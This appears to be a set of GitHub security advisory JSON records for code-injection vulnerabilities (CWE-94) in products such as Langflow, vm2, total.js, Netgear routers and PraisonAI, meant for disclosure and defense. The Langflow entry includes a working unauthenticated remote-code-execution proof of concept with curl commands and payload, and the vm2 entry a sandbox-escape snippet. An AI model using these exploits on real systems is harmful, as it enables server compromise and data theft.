CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2024-43390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-10T09:15:05Z",
    "severity": "MODERATE"
  },
  "details": "A low privileged remote attacker can perform configuration changes of the firewall services, including packet forwarding or NAT through the FW_NAT.IN_IP environment variable which can lead to a DoS.",
  "id": "GHSA-vw69-gxfr-pfgr",
  "modified": "2024-09-10T09:31:12Z",
  "published": "2024-09-10T09:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43390"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2024-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-4720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-23T20:00:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in The Gemini Portal 4.7 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to (1) page/forums/bottom.php and (2) page/forums/category.php.",
  "id": "GHSA-vw75-223w-38cr",
  "modified": "2022-05-17T00:46:41Z",
  "published": "2022-05-17T00:46:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4720"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45481"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6587"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32057"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4503"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-54803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T21:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "Netgear WNR854T 1.5.2 (North America) is vulnerable to Command Injection. An attacker can send a specially crafted request to post.cgi, updating the nvram parameter pppoe_peer_mac and forcing a reboot. This will result in command injection.",
  "id": "GHSA-vwg8-27rw-7g9v",
  "modified": "2025-04-02T15:31:18Z",
  "published": "2025-03-31T21:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54803"
    },
    {
      "type": "WEB",
      "url": "https://faultpoint.com/post/2025-03-25-8-cves-on-the-wnr854t-junkyard/#803"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "total.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-31T20:25:52Z",
    "nvd_published_at": "2021-08-30T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Total.js framework (npm package total.js) is a framework for Node.js platfrom written in pure JavaScript similar to PHP\u0027s Laravel or Python\u0027s Django or ASP.NET MVC. In total.js framework before version 3.4.9, calling the utils.set function with user-controlled values leads to code-injection. This can cause a variety of impacts that include arbitrary code execution. This is fixed in version 3.4.9.",
  "id": "GHSA-vwhc-pww7-72x6",
  "modified": "2021-08-31T20:25:52Z",
  "published": "2021-09-01T18:24:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/totaljs/framework/commit/887b0fa9e162ef7a2dd9cec20a5ca122726373b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/totaljs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/totaljs/framework/blob/e644167d5378afdc45cb0156190349b2c07ef235/changes.txt#L11"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2021-066-totaljs-totaljs"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/total.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Injection in total.js"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-11860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-15T10:16:27Z",
    "severity": "HIGH"
  },
  "details": "Quick.CMS deserializes user-controlled data received over plaintext HTTP without ensuring integrity or authenticity. This allows attackers to tamper with serialized payloads in transit and inject malicious objects. Because deserialization is performed without proper validation or class restrictions, crafted payloads can trigger dangerous magic methods (e.g., __wakeup() and __destruct()) and leverage gadget chains, resulting in arbitrary code execution. Exploitation is triggered automatically when an administrator accesses the admin panel.\n\nWhen successfully exploited, this vulnerability allows attackers to execute arbitrary code on the server via manipulated serialized data transmitted over an unprotected channel.\n\nThis issue was mitigated by limiting the communication to HTTPS in a patch for version 6.8 published on 14.05.2026, deployments without this patch remain vulnerable.",
  "id": "GHSA-vwj5-2gmw-wjp6",
  "modified": "2026-06-15T12:32:44Z",
  "published": "2026-06-15T12:32:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11860"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2026/06/CVE-2026-11860"
    },
    {
      "type": "WEB",
      "url": "https://opensolution.org"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2009-0559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-06-10T18:30:00Z",
    "severity": "HIGH"
  },
  "details": "Stack-based buffer overflow in Excel in Microsoft Office 2000 SP3 and Office XP SP3 allows remote attackers to execute arbitrary code via a crafted Excel file with a malformed record object, aka \"String Copy Stack-Based Overrun Vulnerability.\"",
  "id": "GHSA-vwm5-4pv2-47qx",
  "modified": "2022-05-02T03:16:37Z",
  "published": "2022-05-02T03:16:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0559"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-021"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6273"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/35243"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1022351"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA09-160A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/1540"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T20:05:05Z",
    "nvd_published_at": "2026-03-20T05:16:15Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n    *,\n    flow_id: uuid.UUID,\n    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED\n    request: Request,\n    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n    \"\"\"Build a public flow without requiring authentication.\"\"\"\n    client_id = request.cookies.get(\"client_id\")\n    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n    job_id = await start_flow_build(\n        flow_id=new_flow_id,\n        data=data,  # Attacker\u0027s data passed directly to graph builder\n        current_user=owner_user,\n        ...\n    )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` \u2192 `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` \u2192 `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` \u2192 `initialize()` \u2192 `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` \u2192 `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` \u2192 `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n    exec_globals = globals().copy()\n\n    # Imports are resolved first (any module can be imported)\n    for node in imports:\n        module_obj = importlib.import_module(module_name)  # line 352\n        exec_globals[variable_name] = module_obj\n\n    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n    if definitions:\n        combined_module = ast.Module(body=definitions, type_ignores=[])\n        compiled_code = compile(combined_module, \"\u003cstring\u003e\", \"exec\")\n        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker\u0027s code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow\u0027s UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` \u2192 obtain superuser token\n2. `POST /api/v1/flows/` \u2192 create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r \u0027.access_token\u0027)\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}\u0027 \\\n  | jq -r \u0027.id\u0027)\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n  -H \"Content-Type: application/json\" \\\n  -b \"client_id=attacker\" \\\n  -d \u0027{\n    \"data\": {\n      \"nodes\": [{\n        \"id\": \"Exploit-001\",\n        \"type\": \"genericNode\",\n        \"position\": {\"x\":0,\"y\":0},\n        \"data\": {\n          \"id\": \"Exploit-001\",\n          \"type\": \"ExploitComp\",\n          \"node\": {\n            \"template\": {\n              \"code\": {\n                \"type\": \"code\",\n                \"required\": true,\n                \"show\": true,\n                \"multiline\": true,\n                \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n    display_name=\\\"X\\\"\\n    outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n    def r(self)-\u003eData:\\n        return Data(data={})\",\n                \"name\": \"code\",\n                \"password\": false,\n                \"advanced\": false,\n                \"dynamic\": false\n              },\n              \"_type\": \"Component\"\n            },\n            \"description\": \"X\",\n            \"base_classes\": [\"Data\"],\n            \"display_name\": \"ExploitComp\",\n            \"name\": \"ExploitComp\",\n            \"frozen\": false,\n            \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n            \"field_order\": [\"code\"],\n            \"beta\": false,\n            \"edited\": false\n          }\n        }\n      }],\n      \"edges\": []\n    },\n    \"inputs\": null\n  }\u0027\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker\u0027s code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion:  Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-f0d19b36\n    hostname: kali\n    uid: 1000\n    whoami: aviral\n    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n    uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-4a796556\n\nFINAL RESULTS\n  Total checks:   15\n  VULNERABLE:     15\n  SAFE:           0\n  RCE confirmed:  3/3 runs\n  Reproducible:   YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` \u2192 `exec()` | `create_class()` \u2192 `prepare_global_scope()` \u2192 `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n    *,\n    flow_id: uuid.UUID,\n    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n    # REMOVED: data parameter -- public flows must use stored data only\n    ...\n):\n```\n\nIn `generate_flow_events` \u2192 `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n    # For public flows, ALWAYS load from database, never from user data\n    return await build_graph_from_db(\n        flow_id=flow_id,\n        session=fresh_session,\n        ...\n    )\n```",
  "id": "GHSA-vwmf-pq79-vjvx",
  "modified": "2026-06-08T23:11:45Z",
  "published": "2026-03-17T20:05:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/issues/12345"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/12160"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rvqx-wpfh-mfx7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/releases/tag/1.8.2"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33017"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017"
    },
    {
      "type": "WEB",
      "url": "https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.6"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:07:05Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nvm2\u0027s bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox.\n\n### Details\nBaseHandler.apply() unwraps sandbox-controlled receivers and arguments with otherFromThis() / otherFromThisArguments() and then directly invokes the real host function with ret = otherReflectApply(object, context, args), so any default-exposed host function that can surface a prototype getter becomes a prototype-walking primitive ([lib/bridge.js:665-676](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L665-L676)). BaseHandler.get() special-cases __proto__ and returns the host-side descriptor or proxy target prototype, which is enough for the attacker to reuse the host __lookupGetter__(\u0027__proto__\u0027) accessor repeatedly until the walk lands on host Object.prototype, Array.prototype, or Function.prototype ([lib/bridge.js:590-616](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L590-L616)). Once the attacker has a proxy to a host intrinsic prototype, BaseHandler.set() performs value = otherFromThis(value); return otherReflectSet(object, key, value) === true;, which writes attacker-controlled data directly into the shared host object instead of keeping the mutation sandbox-local; BaseHandler.defineProperty() repeats the same design at otherReflectDefineProperty(object, prop, otherDesc) for descriptor-based writes ([lib/bridge.js:641-649](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L641-L649), [lib/bridge.js:753-774](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L753-L774)). Existing validation does not stop the attack because the constructor filter only blocks one dangerous-property access pattern, setPrototypeOf() only blocks prototype replacement rather than ordinary property assignment, and containsDangerousConstructor() only protects one later re-unwrapping path instead of the initial host-prototype write sink ([lib/bridge.js:494-530](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L494-L530), [lib/bridge.js:595-610](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L595-L610), [lib/bridge.js:660-662](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L660-L662)).\n\n### PoC\nRun the following code snippet and observe that the value of vm2EscapeMarker is polluted:\n```\nconst { VM } = require(\u0027vm2\u0027);\nconst vm = new VM();\nvm.run(`\n  const g = ({}).__lookupGetter__;\n  const a = Buffer.apply;\n  const p = a.apply(g, [Buffer, [\u0027__proto__\u0027]]);\n  const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));\n  hostObjectProto.vm2EscapeMarker = \u0027polluted-object-prototype\u0027;\n`);\nconsole.log({}.vm2EscapeMarker)\n```\n\n### Impact\nSandbox escape and prototype pollution.",
  "id": "GHSA-vwrp-x96c-mhwq",
  "modified": "2026-05-14T20:36:31Z",
  "published": "2026-05-07T04:07:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44005"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: Mutable Proxies for Host Intrinsic Prototypes Allows Sandbox Escape"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-18356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-15T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "In the Automattic WooCommerce plugin before 3.2.4 for WordPress, an attack is possible after gaining access to the target site with a user account that has at least Shop manager privileges. The attacker then constructs a specifically crafted string that will turn into a PHP object injection involving the includes/shortcodes/class-wc-shortcode-products.php WC_Shortcode_Products::get_products() use of cached queries within shortcodes.",
  "id": "GHSA-vwrr-q8r4-3hgf",
  "modified": "2024-10-17T15:31:05Z",
  "published": "2022-05-14T01:35:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18356"
    },
    {
      "type": "WEB",
      "url": "https://blog.ripstech.com/2018/woocommerce-php-object-injection"
    },
    {
      "type": "WEB",
      "url": "https://woocommerce.wordpress.com/2017/11/16/woocommerce-3-2-4-security-fix-release-notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-61444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T15:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agents_file parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().",
  "id": "GHSA-vwv5-32vr-3jcp",
  "modified": "2026-07-10T15:31:42Z",
  "published": "2026-07-10T15:31:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-g6j7-pffp-8whg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61444"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-f-string"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}